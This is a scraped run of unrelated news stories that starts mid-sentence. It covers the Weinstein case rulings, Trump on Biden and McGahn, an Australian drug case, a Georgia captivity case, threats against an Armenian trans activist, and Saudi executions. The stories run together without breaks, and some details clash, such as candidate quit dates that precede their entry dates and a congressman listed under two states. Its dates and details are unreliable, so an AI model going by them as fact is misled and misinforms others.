Weinstein of sexual assault take the stand during the trial Oscar-winner Marisa Tomei, Amber Tamblyn, Michelle Hurd, Jennifer Esposito and Kathy Najimy were just a few of the Hollywood stars sitting in the gallery for the proceedings that day. The women were all wearing Time's Up shirts. HARVEY'S DEFENSE TEAM GETS MAKEOVER Jose Baez - The man who is perhaps the best known criminal defense lawyer in the country will be heading up the defense. He was a virtual unknown prior to 2011, but that all changed when he managed to achieve what many thought was an impossible feat by getting his client Casey Anthony acquitted of murder in the death of her daughter. A few years later he managed top that feat by getting a double acquittal for Aaron Hernandez in his second murder trial. Marianne Bertuna & Arthur Aidala - A husband and wife team from Brooklyn. Aidala was formerly the Senior Assistant District Attorney in the Kings County District Attorneys Office before entering the private sector. His wife got a job as an intern at the firm, which is how the two first met back in 1997. Diana Fabi Samson - Samson served as an Assistant District Attorney under Robert M. Morgenthau in the Manhattan District Attorneys office. Morgenthau held the top post there for 44 years until 2009, when he was replaced by Cyrus Vance Jr. Samson will be up against Vance and his legal team in the case. Advertisement 'The court finds that there is no basis for the defendant's claim of prosecutorial or law enforcement misconduct in the proceedings, or pervasive falsity in and around the Grand Jury presentation,' read the judge's ruling. 'Moreover there is no basis in law that the conduct of law enforcement must be imputed to the prosecutor. ' Weinstein had argued that the Grand Jury was not presented evidence that would have established the nature of the relationship between himself and his accusers. These included emails he sent with one victim and texts from another thanking him for his help in securing a job. One of the women was also advised to delete text messages by a member of law enforcement. The women chose not to speak ahead of the hearing, but Najimy did state: 'Im here to hear the proceeding and support survivors.' The judge ultimately ruled that Weinstein would face rape charges, saying that the indictment would not be dismissed in the case. The actresses who appeared in court all did so in support of the victims and Time's Up movement. The disgraced mogul was looking to have the five remaining charges that have been filed against him dismissed, and in a letter earlier this month his lawyer lashed out at a comment made by prosecutors. 'The defendant has a misguided and antiquated view of how a rape victim should react after having been assaulted,' wrote prosecutor Kevin Wilson in response to a letter submitted to the court. In the letter, Weinstein's lawyer wrote: 'What is misguided and antiquated is the breathtaking assertion by the prosecution that it was free to present the Grand Jury in this case with a knowingly incomplete, untrue, and distorted picture of the true facts of this case and thereby suppress from the Grand Jury critical exculpatory evidence which went directly to Mr. Weinstein's factual innocence of any criminal wrongdoing.' The attack did not stop there, going on to accuse witnesses of being untruthful. Bad acts: The judge is expected to rule if other women who have accused Weinstein of sexual assault will be allowed top take the stand during the trial No go: Weinstein had previously filed a motion to dismiss the criminal charges against him in August that contained a number of emails sent by the same accuser between 2013 and 2017 'Contrary to what Mr. Wilson would have us believe, the issue before this Court is one of law and not political correctness,' read the letter. 'At the time they made their presentment to the Grand Jury in this case, the prosecution (1) failed to present witness statements which revealed material untruths told by the complaining witnesses and (2) willfully chose not to present documentary evidence which reflected immediate and then continuing contact with the alleged rapist-beginning just hours after the alleged rape and continuing on for several years thereafter.' Sneak-ing in: Weinstein paired his disheveled suit with pricey designer sneakers (above) Weinstein's attorney previously filed a letter with the judge seeking to dismiss three of the charges that he was indicted on over the summer. Ben Brafman, Weinstein's attorney at that time, claimed in his letter to Judge James M Burke that the Manhattan District Attorney's office withheld evidence from the grand jury who indicted his client and provides four emails that show Weinstein and his accuser spent time together after her alleged assault. He also claimed that the accuser told a friend that her relationship with Weinstein was consensual. Weinstein had previously filed a motion to dismiss the criminal charges against him in August that contained a number of emails sent by the same accuser between 2013 and 2017. That woman, whose allegations against Weinstein resulted in charges of rape in the first degree, rape in the third degree and predatory sexual assault, wrote in the emails that Weinstein 'is the bar' for the movie industry and comments on his 'smile and beautiful eyes. In one of the emails submitted by Brafman, she also agreed to attend a screening hosted by Weinstein, just hours after she was allegedly raped by the mogul. Documents show Weinstein's office sent the woman an invitation to a movie screening the evening of March 18, 2013 - the day of the alleged assault. The accuser replied, 'I'm just going with [redacted]. Thank you [redacted].' The letter stated that defense lawyers interviewed the friend who confirmed that she had gone to the event with the accuser and the two met Weinstein there that night. During that interview, the friend allegedly confirmed that Weinstein and the accuser were in a 'consensual, sexual relationship' at the time and claimed the accuser tried to enlist her help in going after Weinstein, according Brafman. Brafman argued that the emails, as well as the previous ones he submitted along with an earlier motion, should have been seen by members of the grand jury. 'Had the Grand Jury been aware that [accuser] continued her friendship with Mr Weinstein hours after the alleged rape (not just in the months and years after, as evidenced by her emails), there is little chance that her narrative would have been accepted by the Grand Jury,' Brafman states. 'This new email evidence makes [the accuser's] attempt even more egregious because, as it turns out, the witness was with [the accuser] hours after the alleged rape, yet [the accuser] did not say anything about being raped; instead, she chose to spend the evening with her friend and her alleged rapist!' Think you've got to slow down: Gloria Allred (above) was among those inside the courtroom who was forced to leave when the judge made his ruling Backup plan: Lawyers for the AP and New York Times rushed over to the appellate court in hopes of getting an emergency order to halt that decision (Robert Ballin, who is representing the press, above) Brafman also contends that the accuser must have talked about Weinstein in 'glowing terms' after an email from New Year's Day 2014 revealed the friend had thanked the producer for 'the things you did for [accuser] in 2013 and for the things you did for me as well.' Those things included Oscar party invitations, dinners, premieres, and auditions, according to documents. An earlier email from October 2013 also shows the same friend telling Weinstein that the accuser 'adores' him. More than a year after the alleged rape, the accuser herself had an email exchange with Weinstein organizing dinner plans. On July 9, 2014, Weinstein emailed the woman asking: 'Are you around on Friday evening? I'm going to be in [redacted].' The accuser replied: 'There is no one else I would enjoy catching up with that understands me quite like you.' 'I know I will be hungry, what is your timing? Do you have time for dinner?' In a response to the December 7 filing, New York Assistant District Attorney Kevin Wilson said Brafman's letter only repeats previous arguments made in earlier submissions - which have been contested. He argued the findings did not constitute as exculpatory information and claimed the lawyer was using 'one-sided, incomplete, and mischaracterized information.' 'That the defendant has a misguided and antiquated view of how a rape victim should react after having been assaulted does not change this reality,' Wilson wrote in a letter on Friday. In August, Brafman asked for the charge of Criminal Sex Act to be tossed because of inconsistencies. 'Mr. Weinstein was indicted for an alleged act of forcible oral sex by someone who claims she does not remember when it occurred and asserts only that it was purportedly sometime during a three-month period in 2004, nearly fourteen years ago,' read the August motion. 'He was also indicted for the rape of [email accuser], whose extensive communications and contact immediately following the now claimed forcible rape instead reflect a consensual, intimate relationship with Mr. Weinstein in an exchange of more than 400 warm, complimentary and solicitous emails with an alleged rapist for more than four years after the alleged rape, never once in those 9 communications claiming to have ever been harmed by Mr. Weinstein.' The final email, from 2017, was less effusive than the others submitted by Weinstein, reading: 'I love you, always do. But hate feeling like a booty call.' That came in response to an email from Weisntein in which he tried to schedule a meeting with the woman before heading off to a redacted city. He wrote that he could meet in the afternoon, and when the woman responded to ask the address Weinstein replied with the name of a hotel, even though he was in New York at the time. The August filing stated that it was one year after that email, in February 2018 when, 'upon information and belief, [Weinstein's accuser] for the first time ever made any claim of an alleged rape to any law enforcement authority.' Weinstein was married to his now estranged wife Georgina Chapman during the time that all 40 emails were sent. One month after she was allegedly raped by Weinstein in a midtown hotel, the alleged victim closed out a brief message by writing: 'Thanks, and I hope to see you sooner thank [sic] later ...' The next day she said: 'I appreciate all you do for me, it shows.' Three days after that she expressed a desire to see Weinstein and 'catch up,' a desire she again reiterated a few days later in an emails submitted as evidence in the motion. Another email in which the woman is incredibly complimentary to Weinstein read: 'You have mastered storytelling and continually Are outdoing yourself and the competition. You are the bar.' She then signed off with: 'Miss you big guy.' One month prior she had requested a private audience with Weinstein, saying: 'I was hoping for some time privately with you to share the direction I am going in life and catch up because its been awhile.' The woman also gave Weinstein her contact information after changing her phone number. President Donald Trump said Friday morning that he expects to make quick work of former Vice President Joe Biden if he survives the grueling Democratic primary season. 'I think we beat him easily,' he told he told DailyMail.com outside the White House amid a reporter scrum as he left for a National Rifle association Speech in Indianapolis. And he suggested that Biden, who would be 78 years old on Inauguration Day if he should win the 2020 election, is already showing his age on the campaign trail. Trump, 72, called himself 'a young, vibrant man.' 'I look at Joe, I don't know about him. I don't know,' he said. 'I would never say anyone's too old but I know they're all making me look very young both in terms of age and in terms of energy.' President Donald Trump said Friday that he can beat former Vice President Joe Biden 'easily' BIden, at 76, would be the oldest president to take office in 2021; he's four years older than Trump, who currently holds that record; but Trump said Biden makes him look young and vibrant by comparison AGES OF THE 2020 CANDIDATES ON INAUGURATION DAY As of April 8, 2020 there were two major party candidates in the 2020 presidential election. Here is the age each of them would be on Inauguration Day 2021 if he were to win: Former Vice President Joe Biden (D) : 78 years, 2 months, 1 day : 78 years, 2 months, 1 day President Donald Trump (R) : 74 years, 7 months, 7 days Advertisement Biden, the Democratic front-runner, is not the oldest person to challenge him for his job. That honor goes to Vermpont Sen. Bernie Sanders, who would be 79 on Day One at the White House if he were to win. 'I think that I feel like a young man. I'm so young!' a gleeful Trump exclaimed. 'I'm the youngest person! I'm a young, vibrant man.' Biden has conceded that his age is a fair issue to raise as he makes his third attempt to win the White House. 'I think its totally appropriate for people to look at me and say, if I were to run for office again, "Well, God darn, you're old",' Biden told a crowd at the Economic Club of Southwestern Michigan in October 'Well, chronologically, I am old,' he said. Trump was the oldest president to move into the White House in 2017, at 70 years, 220 days. Ronald Reagan entered office at 69 years, 349 days. Hillary Clinton would have moved back to the White House at age 69 if she had won the presidency in 2016. JOE BIDEN AND THE 28 DEMOCRATS HE RAN AGAINST TO BECOME PARTY'S 2020 CANDIDATE JOE BIDEN Age on Inauguration Day 2021: 78 Entered race: April 25, 2019 Career: No current role. A University of Delaware and Syracuse Law graduate, he was first elected to Newcastle City Council in 1969, then won upset election to Senate in 1972, aged 29. Was talked out of quitting before being sworn in when his wife and daughter died in a car crash and served total of six terms. Chaired Judiciary Committee's notorious Clarence Thomas confirmation hearings. Ran for president in 1988, pulled out after plagiarism scandal, ran again in 2008, withdrew after placing fifth in the Iowa Caucuses. Tapped by Obama as his running mate and served two terms as vice president. Contemplated third run in 2016 but decided against it after his son died of brain cancer. Family: Eldest of four siblings born to Joe Biden Sr. and Catherine Finnegan. First wife Neilia Hunter and their one-year-old daughter Naomi died in car crash which their two sons, Joseph 'Beau' and Robert Hunter survived. Married Jill Jacobs in 1976, with whom he has daughter Ashley. Beau died of brain cancer in 2015. Hunter's marriage to Kathleen Buhle, with whom he has three children, ended in 2016 when it emerged Hunter was in a relationship with Beau's widow Hallie, mother of their two children. Hunter admitted cocaine use; his estranged wife accused him of blowing their savings on drugs and prostitutes Religion: Catholic Views on key issues: Ultra-moderate who will emphasize bipartisan record. Will come under fire over record, having voted: to stop desegregation bussing in 1975; to overturn Roe v Wade in 1981; for now controversial 1994 Violent Crime Act; for 2003 Iraq War; and for banking deregulation. Says he is 'most progressive' Democrat. New positions include free college, tax reform, $15 minimum wage. No public position yet on Green New Deal and healthcare. Pro-gun control. Has already apologized to women who say he touched them inappropriately Would make history as: Oldest person elected president Slogan: Our Best Days Still Lie Ahead AND THE 28 WHO HAVE WITHDRAWN MICHAEL BENNET, Colorado senator Entered race: May 2, 2019 Quit: February 12, 2019, evening of New Hampshire primary MIKE BLOOMBERG Entered race: November 24, 2019 Quit: March 4, 2020, day after Super Tuesday primaries CORY BOOKER, New Jersey Senator Entered race: February 1, 2019 Quit: January 13, 2020 STEVE BULLOCK, Montana governor Entered race: May 14, 2019 Quit: December 2, 2019 PETE BUTTIGIEG, former mayor of South Bend, Indiana Entered race: January 23, 2019 Quit: March 1, 2020, day after South Carolina primary JULIAN CASTRO, former Housing Secretary Entered race: January 18, 2019 Quit: January 2, 2020 BILL DE BLASIO, New York City mayor Entered race: May 16, 2019 Quit: September 20, 2020 JOHN DELANEY, former Maryland Congressman Entered race: July 8, 2017 Quit: January 31, 2019 KIRSTEN GILLIBRAND, New York senator Entered race: January 16, 2019 Quit: August 28, 2019 TULSI GABBARD, Hawaii congresswoman Entered race: January 11 2019 Quit: March 19, 2020 MIKE GRAVEL, Former Alaska governor Entered race: April 2,2019 Quit: August 2, 2019 KAMALA HARRIS,California senator Entered race: January 21, 2019 Quit: December 3, 2019 JOHN HICKENLOOPER, Former Colorado governor Entered race: March 4, 2019 Quit: August 15, 2019 JAY INSLEE, Washington governor Entered race: March 1, 2019 Quit: August 21, 2019 AMY KLOBUCHAR, Minnesota senator Entered race: February 19, 2019 Quit: March 2, 2020 WAYNE MESSAM, mayor of Miramar, Florida Entered race: March 28, 2019 Quit: November 20, 2019 SETH MOULTON, Massachusetts congressman Entered race: April 22,2019 Quit: August 23, 2019 RICHARD OJEDA, former West Virginia state senator Entered race: November 12, 2018 Quit: January 25, 2019 BETO O'ROURKE, former Texas congressman Entered race: March 14, 2019 Quit: November 1, 2019 DEVAL PATRICK, former Massachusetts governor Entered race: November 13, 2019 Quit: February 13, 2019, morning after New Hampshire primary TIM RYAN, Ohio congressman Entered race: April 4, 2019 Quit: October 24, 2019 BERNIE SANDERS, Vermont senator Entered race: January 25, 2019 Quit: April 8, 2020 JOE SESTAK, former Pennsylvania congressman Entered race: June 23, 2019 Quit: December 1, 2019 TOM STEYER, billionaire activist Entered race: July 9, 2019 Quit: February 29, 2020 ERIC SWALWELL, California congressman Entered race: April 8, 2019 Quit: July 8, 2019 ELIZABETH WARREN, Massachusetts senator Entered race: December 31, 2018 Quit: March 5, 2020, two days after Super Tuesday MARIANNE WILLIAMSON, author Entered race: November 15, 2018 Quit: January 10, 2020 ANDREW YANG, entrepreneur Entered race: November 6, 2018 Quit: February 12, 2019, evening of New Hampshire primary Advertisement President Donald Trump said that he would not allow former White House Counsel Don McGahn testify before Congress. Trump told the Daily Mail and other reporters on the South Lawn Friday morning that McGahn had already testified enough for Special Counsel Robert Mueller and the case has already been litigated. With all of this transparency, we finish, no collusion, no obstruction. And then I get out and the first thing is, Lets do it again. And I said, Thats enough, we have to run a country. Trump said before departing for Indianapolis, Indiana to speak at a National Rifle Association conference. And frankly, when I go through it with the House and the Senate and we have no collusion, no collusion, no obstruction, no obstruction. Then, again we have to go through it? Trump lamented. This is a political witch hunt. We did nothing wrong, and the only thing I did is make our country stronger If Im guilty of anything, its that Ive been a great president. Trump asserted Thursday he never ordered McGahn to fire special counsel Robert Mueller. President Trump said he would not allow Don McGahn to testify before Congress since he has already provided hours of testimony for Special Counsel Robert Mueller's investigation McGahn told the special counsel Trump did not order him to fire Mueller, but instead said 'Mueller has to go.' Democrats subpoenaed McGahn to ask their own questions about the directive and his time as White House counsel Trump addressed the claim a week after the special counsel published a redacted version of testimony and observations that included the alleged directive. 'As has been incorrectly reported by the Fake News Media, I never told then White House Counsel Don McGahn to fire Robert Mueller, even though I had the legal right to do so. If I wanted to fire Mueller, I didnt need McGahn to do it, I could have done it myself,' Trump contended. The president claimed in Thursday morning tweets that the media was spreading false information about his orders to McGahn, even though the information came from the legal document the Department of Justice published online and sent to Congress. Democrats subpoenaed the former White House attorney for additional testimony regarding the directive, covered in depth in the Mueller report, McGahn acknowledged that Trump did not order him to fire Mueller. He told the special counsel that Trump told him 'Mueller has to go' and dispatched him to deliver the message to the deputy attorney general. According to the Mueller report, McGahn was under the impression Trump was ordering him to fire the special counsel and decided to disobey his orders. Trump says he never ordered McGahn to fire special counsel Robert Mueller Trump said he would have fired Robert Mueller on his own if he wanted the special counsel removed 'McGahn recalled that the President was more direct, saying something like, ' "Call Rod, tell Rod that Mueller has conflicts and can't be the Special Counsel." McGahn recalled the President telling him "Mueller has to go" and "Call me back when you do it." 'McGahn understood the President to be saying that the Special Counsel had to be removed by Rosenstein. To end the conversation with the President, McGahn left the President with the impression that McGahn would call Rosenstein. McGahn recalled that he had already said no to the President's request and he was worn down, so he just wanted to get off the phone," Mueller wrote. McGahn contemplated resigning as a result, the report states. Rudy Giuliani claimed Sunday that McGahn was 'confused' and provided the special counsel with bad information. Democrats would like to cross-examine McGahn, and the House Judiciary Committee took steps this week to compel him to do so. Trump said Wednesday the demand that McGahn testify 'is ridiculous' and unnecessary after two years of investigations into his administration. 'Were fighting all the subpoenas,' he told reporters as he left the White House for an opioid summit in Atlanta. Mueller opted not to charge Trump with obstruction of justice while leaving space for Congress to conduct an investigation of its own. The report said it found no evidence that anyone connection to the Trump campaign or administration had colluded with the Russian government. Donald Trump said Wednesday that House Democrats' demand that McGahn testify 'is ridiculous' and unnecessary after two years of investigations into his administration At the heart of the matter is whether Trump intended to obstruct justice when he repeatedly criticized Mueller and the special counsel prosecutors. McGahn's testimony will be critical to determining whether Trump was 'frustrated' because he thought he was being 'framed,' as Giuliani put it after the release of the Mueller report, or whether he engaged in a willful abuse of power. If lawmakers are able to prove that Trump intended to break the law, they can start impeachment proceedings to remove him from office, even before he's on the ballot in the 2020 presidential election. Trump said he'd take a case straight to the Supreme Court, if Democrats choose to being impeachment proceedings. He claimed the Mueller report 'didn't lay a glove on me' and predicted Democrats won't find enough evidence to convict him. The Mueller Report, despite being written by Angry Democrats and Trump Haters, and with unlimited money behind it ($35,000,000), didnt lay a glove on me," Trump tweeted. "I DID NOTHING WRONG. If the partisan Dems ever tried to Impeach, I would first head to the U.S. Supreme Court. Trump told the Washington Post he would resist Democrats' requests for interviews with ex-officials, including McGahn. 'There is no reason to go any further, and especially in Congress where its very partisan,' he said. Kellyanne Conway told reporters that Trump complied with the Mueller investigation already and that should be enough. The president isnt saying they dont have the right. The president is saying that the Mueller report is the definitive, conclusive, non-partisan investigation, that was funded by taxpayers,' she said of Democrats' pursuit of additional information. So what else is there to know? And what else is there to see?' She claimed, 'What we all know if Director Mueller and his investigators wanted to felt it was right to indict, they would have done that. Conway said that Trump could exert executive privilege to keep McGhan from testifying to Congress. Theres a reason our democracy and our constitutional government allows for that. But we should note that theres been a great deal of executive cooperation and compliance,' she said. The lawyer of a topless waitress who admitted to a new drug charge said her descent into crime was 'sexually transmitted' by her boyfriend. Nateesha Barlin, who previously pleaded guilty to being part of a drug syndicate, was due to be sentenced at the Downing Centre District Court in Sydney on Friday. But Judge Michael Bozic decided to adjourn the decision to next month after the 24-year-old pleaded guilty to a new charge of concealment, the Daily Telegraph reported. Nateesha Barlin, who previously pleaded guilty to being part of a drug syndicate, was due to be sentenced at the Downing Centre District Court in Sydney on Friday Her boyfriend Dylan Shaw (right), 25, was sentenced to at least 11 months behind bars for his role in the 'criminal enterprise' Barlin previously told the court she was remorseful about her involvement in the steroid syndicate but was later recorded on phone taps talking about making $50,000 a week. Her boyfriend Dylan Shaw, 25, was sentenced to at least 11 months behind bars for his role in the 'criminal enterprise'. The judge had previously determined the couple showed remorse for importing illegal steroids and growth hormones from their Central Coast home. He believed they had a good chance at rehabilitation so he ordered the pair be assessed for intensive corrections orders, rather than jail time. That was until Shaw was arrested in July outside a Belmore restaurant, in Sydney's south-west, after police allegedly found $179,000 in his car. The 25-year-old was then charged with conspiracy to supply drugs and goods while in custody. Barlin previously told the court she was remorseful about her involvement in the steroid syndicate but was later recorded on phone taps talking about making $50,000 a week Michael Mantaj, Barlin's lawyer, said Shaw's imprisonment would stop his client from offending as she would lose her criminal associations. 'This latest charge is because of her continued association with the co-accused and in some ways your honour it is sexually transmitted criminality,' he said. According to facts tendered in court, related to the latest charge, Barlin was funneling money into her beauty therapist business from undercover police buying drugs. Her phone was tapped in July 2018 and she was caught speaking about the offending, the court also heard. 'It's just annoying because what Dylan has going at the moment is really good,' she said. 'He's moving about two kilos a week. We are making 50K a week.' Michael Mantaj, Barlin's lawyer, said Shaw's imprisonment would stop his client from offending as she would lose her criminal associations Judge Bozic said Barlin's business was supposed to be her clean break from criminal activity. He was left questioning the validity of her affidavit, that said she was remorseful, as uncover officer's statements indicated her beauty business was tied to criminal activity. The Australian Border Force raided the notorious couple's rented granny flat in the Central Coast in November 2016. They were arrested and officers seized 3.7 kilograms of steroids and human growth hormones. A leading House Democrat is threatening to use 'all power' including possible jail time to force administration officials to comply with congressional subpoenas. Rep. Gerry Connolly of Maryland brandished the threat Thursday, as the White House strategy of resisting subpoenas and opposing virtually all document requests in oversight investigations became more clear. 'We're going to resist, and if a subpoena is issued and you're told you must testify, we will back that up,' warned Connolly. Rep. Gerry Connolly, D-Va., warned that Congress would use all power, 'including possible jail time,' to enforce subpoenas Amid a clear White House strategy is resisting subpoenas stemming form congressional investigations, Connolly's threat pointedly included mention of 'possible incarceration.' 'If a subpoena is issued and you are told you must testify, we will back that up and we will use any and all power in our command to make sure it's backed up whether it's fines, whether it's possible incarceration," he told CNN. Connolly added: 'We will go to the max to enforce the constitutional role of the legislative branch of government." He also invoked the judicial branch, saying Congress would go to court to enforce contempt citations if necessary. His comment came after Trump told reporters: "We're fighting all the subpoenas," Trump said of Democratic-run committees in Congress, some of which plan to follow up on revelations in the Mueller report: 'These aren't like impartial people. The Democrats are trying to win 2020. They're not going to win with the people I see and they're not going to win against me,' he said. The threat came as the White House digs in on several witnesses. The Oversight Committee moved toward holding former White House personnel security director Carl Kline in contempt of Congress after the White House told him not to appear at a hearing. He was involved in the approval of security clearances for Jared Kushner and others. A whistleblower says multiple clearance denials were overridden. Justice Department official John Gore defied a subpoena to appear before Oversight, which is probing the inclusion of a citizenship question on the Census. The White House also told the committee that senior advisor Stephen Miller will not appear to answer questions about Trump immigration policy and his recent staff purge. White House counsel Pat Cipollone cited "long-standing precedent" against White House advisors being forced to testify. Cummings had asked Miller to appear voluntarily. Since he appears to be in charge of immigration policy, it 'makes sense for Congress to hear directly from you about how federal agencies are implementing your policies,' Cummings wrote, following a series of revelations about his influential role. A Georgia man who kept a teenage girl suffering from Asperger's in captivity for more than a year, denying her food and subjecting her to water torture, will be spared prison but will have to register as a sex offender for the rest of his life. Michael Wysolovski, 33, from Georgia, on Thursday pleaded guilty to first-degree cruelty to children and interstate interference with custody. Police said Hailey Burns, then aged 17, went missing from her Charlotte, North Carolina, home in May 2016. She was found 225 miles away in Wysolovki's home in Duluth 56 weeks later. Scroll down for video Michael Wysolovski, 33, (left) on Thursday pleaded guilty to first-degree cruelty to children and interstate interference with custody for torturing and starving Hailey Burns (right) Burns was rescued from Wysolovski's home in Duluth, Georgia (pictured), in 2017 after spending 56 weeks in captivity During the girl's captivity, Wysolovski, who had first met Burns in a chat room for people suffering from anorexia when she was just 15, kept her locked in a room, forced her to keep a journal that tracked her daily calorie intake and made her perform oral sex on him in exchange for food, according to court documents. Burns was ultimately rescued after reaching out to a US student living in Romania on Facebook, who, in turn, alerted the FBI. Wysolovski initially had been charged with rape, aggravated sodomy and false imprisonment, but those counts were later dropped. In exchange for his guilty pleas to the lesser charges, Wysolovski was handed a 10-year sentence, with eight months to be served in jail and the rest to be spent on probation, reported Gwinnett Daily Post. Wysolovski, who had already spent eight months in jail before having bond set in February 2018, was given credit for time served. That means he will not have to spend any additional time behind bars. Court documents said Wysolovski (left) made the Asperger's-suffering teen (right) give him oral sex in exchange for food and made her count calories Burns was rescued after reaching out to a girl living in Romania on Facebook Under the conditions of his probation, Wysolovski must register as a sex offender and avoid contact with minors. He also has restrictions on his access to pornography, drugs and alcohol. Before delivering his sentence, Gwinnett County Superior Court Judge Timothy Hamil allowed Wysolovskis victim and her parents to present their impact statements. DailyMail.com typically does not identify people believed to be victims of sexual crimes, but Burns and her family have decided to go public with their story. Sporting a cropped haircut and clutching a stuffed animal, Burns spoke for two-and-a-half minutes about the agony she had suffered at Wysolovskis hands, reported WSOC-TV. He manipulated me heavily, taking advantage of my mental illness to push me closer to his desires, she said. When given a chance to speak, Wysolovski (pictured in court Thursday) told the judge he thought he was helping Burns Burns said the defendant, who reportedly had her call him 'daddy' in their text conversations, pressed her to run away from home and come live with him. The second I left my home my life was ruined, she read from her prepared statement. He did unimaginable things to me and irreparably broke my spirit and sense of self. Burns spoke at length of the devastating aftereffects of her captivity, revealing to the court that she had developed a severe obsessive-compulsive disorder that had her checking locks, counting steps, and classifying 'everything and everyone' in her life into 'safe' and 'unsafe' categories. Burns said it took her a year to recover from an eating disorder that was the result of Wysolovski's denying her food in captivity. 'He lowered my self-esteem greatly and led me to believe that I will never be loved, or have a proper life if I gained any weight,' she said. Burns went on to say that she has developed a fear of water, such as drinking, rain and showers, having been subjected to what she described as water torture. Hailey's mother, Shauna Burns (pictured), was also given an opportunity to confront her daughter's tormentor, whom she labeled a 'coward' 'I severely mutilated myself hoping I would become unlovable so no one would hurt me again as Wysolovski did. I am permanently disfigured, the woman said. In her statement, Burns told the court that she has been taking medication for depression and has attempted suicide three times since her escape from Wysolovski. She still has trouble navigating social situations, or even walking into a store on her own, having developed agoraphobia in the wake of her experience. 'The psychological damage Michael Wysolovski had inflicted is beyond measure or explanation, she summed up. I cannot explain over a year of systematic abuse and every neurological quirk it has caused. All I hope is that it happens to no other innocent victim.' Hailey's mother, Shauna Burns, was also given an opportunity to confront her daughter's tormentor, whom she labeled a 'coward' and a 'silver-tongued abuser.' The young woman's father, Anthony Burns, said his daughter emerged from her captor's home suffering from malnutrition, ringworm and back problems caused by being confined to a dog cage. Assistant District Attorney Michael DeTardo told Atlanta Journal Constitution that he had consulted the victim and her family before signing off on the plea deal. He explained that Burns and Wysolovski agreed to enter into a BDSM-type relationship where participants simulate non-consensual sex acts, but over time the man violated the boundaries of their agreement by subjecting Burns to violence against her wishes. Because of the nature of Burns and Wysolovskis arrangement, DeTardo said he could not guarantee a rape conviction at trial. Beyond that, Burns and her family did not wish to go through a jury trial, and their main goal was having Wysolovski register as a sex offender, which Thursdays sentence accomplished. When given a chance to speak, Wysolovski told the judge he thought he was helping Burns - a claim Hamil dismissed out of hand. Hamil also denied Wysolovskis request to be treated as a first-time offender, which would have resulted in his plea being expunged from his record at the conclusion of his sentence. In my time on the bench I can count on both hands the time Ive refused to give someone first offender status, the judge told the defendant, but theres something inside me that says this is one of those times. Armenia's first registered trans woman has faced threats from politicians to burn her alive after she gave a speech on trans rights in parliament. Lilit Martirosyan spoke out against violence and stigma directed at trans people in a speech to parliament three weeks ago, and called for greater protections. Since then she has received a string of death threats and abuse, and has seen her address published online leading to protests outside her house. Lilit Martirosyan spoke of violence faced by trans people in Armenia and called for more protection from the government during a speech to parliament on April 5 There have been anti-LGBTI protests in front of the national assembly and some parliamentarians have called for her to be burned alive, according to The Guardian. Speaking to the newspaper, she said: 'This was the first time in Armenia when a transgender woman spoke from a high podium of violence against transgender people. '[A] transphobic man with a knife came to the national assembly to announce that he would kill me and that others like me must be killed, too. 'I have received many messages via Facebook and email from various people telling that they will find and kill me.' Martirosyan was invited to speak during an April 5 sessions on human rights reforms on behalf of the Right Side campaign she founded. But it appears politicians were unaware of the content of her speech, which she used to draw attention to the violence faced by the LGBT+ community in Armenia. She said: 'I am delivering this speech to you as a transgender woman, but I ask you to see me as a collective figure. 'I stand for tortured, raped, burnt, stabbed, killed, banished, discriminated, poor and unemployed transgender people of Armenia. 'I call upon you to carry out reforms and policies to achieve gender equality, and to ensure human rights for everyone.' Martirosyan was subsequently kicked out of parliament, with politicians from both sides blaming the other for allowing her to take the podium in the first place. Martirosyan was ejected from parliament and has since faced a wave of abuse, including calls from politicians to have her burned alive A protest of around 100 people gathered in front of the building three days later to denounce the speech, joined by religious figures who asked that the floor of the house be consecrated. Prominent politician Gagik Tsarukyan subsequently denounced 'perverts' saying: 'This is a vice, we must hide the vice, as it was before. 'We will never allow this phenomenon to spread.' The EU and UN have since come to the defence of Martirosyan, condemning discrimination and threats of violence against her. Armenia is a deeply religious society which is home to one of the world's oldest Christian communities, the Armenian Apostolic Church, with more than 90 per cent of the population identifying as followers. While the country decriminalised homosexuality in 2003, attitudes towards gay people in the country have been slow to change. In a 2012 survey, 55 per cent of people said they would cut off interactions with a friend or relative who came out as gay. The country ranks second-bottom in Europe in terms of rights and support for the LGBT+ community, according to data gathered by the International Lesbian, Gay, Bisexual, Trans and Intersex Association. Mujtaba al-Sweikat was 17 when he was detained at King Fahd International Airport in 2012 - he had been planning on studying in Michigan Al Qaeda's Yemen branch is vowing to avenge victims of a mass execution carried out by Saudia Arabia this week. The group's declaration is an indication that some of the 37 Saudis executed on terrorism-related charges were members of the Sunni militant group. Al Qaida in the Arabian Peninsula, as the branch is called, posted a statement on militant-linked websites on Friday, accusing Saudi of offering the blood of the 'noble children of the nation just to appease America.' The statement says they will 'never forget about their blood and we will avenge them'. US ally Saudi Arabia executed 37 suspects convicted on terrorism-related charges on Tuesday. Most were believed to be Shiites but at least one was believed to be a Sunni militant. His body was pinned to a pole in public as a warning to others. The victims of the mass execution pleaded with judges before being killed, saying that their confessions were false and obtained under torture, trial documents revealed. Of the 37 men beheaded on Tuesday, many had attempted to convince the courts they had been tortured and even pledged their loyalty to King Salman in desperation. The body of one of was crucified after his execution and put on public display, according to local media reports. Crown Prince of Saudi Arabia Mohammad bin Salman (pictured) is the subject of scrutiny over alleged human rights abuses - court documents revealed the condemned pledged their allegiance to the royal family in desperation Saudi Arabia's interior ministry announced on Tuesday that 37 Saudi nationals had been executed [file photo] Some of those executed on terror charges included men who were just teenagers when they were arrested for attending protests. Court documents obtained by CNN from trials for 34 of the men showed many had repeatedly denied the veracity of their 'confessions.' Fourteen were convicted of forming a 'terror cell' in the city of Awamiya after anti-government demonstrations in 2011 and 2012. One of the condemned - Munir al-Adam - is recorded as saying: 'Those aren't my words. I didn't write a letter. This is defamation written by the interrogator with his own hand.' Al-Adam was just 23 when he was arrested at a government checkpoint in April 2012. He was beaten on the soles of his feet and had to crawl on his hands and knees for days. As a five-year-old boy he had lost his hearing in one ear following an accident, but after torture he lost hearing in the other and was left totally deaf. The 27-year-old was executed on Tuesday. Two of those beheaded were just 16 and 17 when they were arrested - including one who was set to start a new life in the US at Western Michigan University. Mujtaba al-Sweikat, then 17, was severely beaten all over his body, including on the soles of his feet, before 'confessing' to crimes including attending protests in 2012. In 2017, staff at the university said the English language and pre-finance studies student showed 'great promise' and called for him to be released. Abdulkarim al-Hawaj, 21, was the youngest executed, four years after being arrested in the country's Shia-majority Eastern province for spreading information about protests on WhatsApp. Under international law, putting to death anyone who was under 18 at the time of the crime is strictly prohibited. Human rights charity Reprieve said al-Hawaj was beaten, tortured with electricity and chained with his hands above his head until he 'confessed' to his crimes. Reprieve said both men were sentenced to death at the end of 'sham trials' 